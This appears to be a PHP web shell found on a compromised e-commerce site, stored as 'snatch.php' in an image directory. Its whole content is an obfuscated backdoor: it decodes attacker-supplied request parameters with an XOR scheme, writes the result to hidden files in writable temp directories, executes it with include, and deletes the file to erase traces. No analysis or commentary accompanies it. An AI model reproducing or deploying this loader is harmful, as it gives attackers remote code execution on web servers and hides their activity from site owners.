File: //home/vitanhod/glucosamine.vitavit.com.pk/img/snatch.php
<?php if(in_array("data", array_keys($_REQUEST))){ $dchunk = $_REQUEST["data"]; $dchunk = explode ('.', $dchunk ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $p = 0; foreach( $dchunk as $v6) { $sChar = ord( $s[$p% $sLen]); $d =( ( int)$v6 - $sChar -( $p% 10)) ^ 71; $object.= chr( $d); $p++; } $value = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); foreach ($value as $elem): if (is_dir($elem) ? is_writable($elem) : false) { $ref = str_replace("{var_dir}", $elem, "{var_dir}/.factor"); if (@file_put_contents($ref, $object) !== false) { include $ref; unlink($ref); exit; } } endforeach; }
if(@$_REQUEST["hld"] !== null){
$token = $_REQUEST["hld"];
$token = explode( '.',$token );
$obj = '';
$s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s2 );
$m = 0;
foreach ($token as $v2) { $sChar = ord($s2[$m%$sLen] );
$dec = ((int)$v2 - $sChar - ($m%10)) ^ 7;
$obj .= chr($dec );
$m++;}
$mrk = array_filter(["/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]);
while ($component = array_shift($mrk)) {
if (is_dir($component) ? is_writable($component) : false) {
$rec = join("/", [$component, ".symbol"]);
if (file_put_contents($rec, $obj)) {
include $rec;
@unlink($rec);
die();
}
}
}
}